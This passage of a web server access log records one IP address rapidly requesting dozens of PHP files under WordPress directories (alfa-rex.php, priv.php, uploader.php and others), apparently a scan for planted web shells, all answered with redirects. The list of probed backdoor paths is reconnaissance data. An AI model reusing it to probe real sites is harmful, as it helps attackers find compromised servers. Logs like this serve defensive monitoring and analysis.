HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:13 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:13 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:13 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:14 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:14 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:14 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:14 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:26:15 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:15 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:15 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:15 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:15 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:16 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:16 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:16 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:16 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:26:16 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:17 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:17 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:17 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:17 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:17 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:18 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:18 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:18 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:18 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:18 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.33.80 - - [25/Apr/2025:11:26:19 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:19 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:19 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:19 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:26:19 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:20 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:20 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:20 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:26:20 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:20 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:21 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:21 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:21 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:21 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:21 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:22 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:22 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:22 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:22 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:22 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:23 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:23 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:23 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:26:23 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:23 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:24 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:24 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:26:24 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:26:24 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:25 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:26:25 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:26:25 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:25 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:26 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:26:26 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:26 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:26:26 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:26:26 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:26 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:26:27 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:27 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:27 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:27 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:28 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:28 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:26:28 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:28 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:28 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:26:29 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:29 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:29 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:26:29 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:29 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:30 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:30 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:30 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:31 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:32 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:32 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:32 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:32 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:26:33 -0400] "GET /uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:33 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:26:33 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:26:33 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:33 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:34 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:26:34 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:34 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:34 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:26:35 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:35 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:35 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:35 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:35 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:36 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:26:36 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:36 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:36 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:26:37 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:37 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:37 -0400] "GET 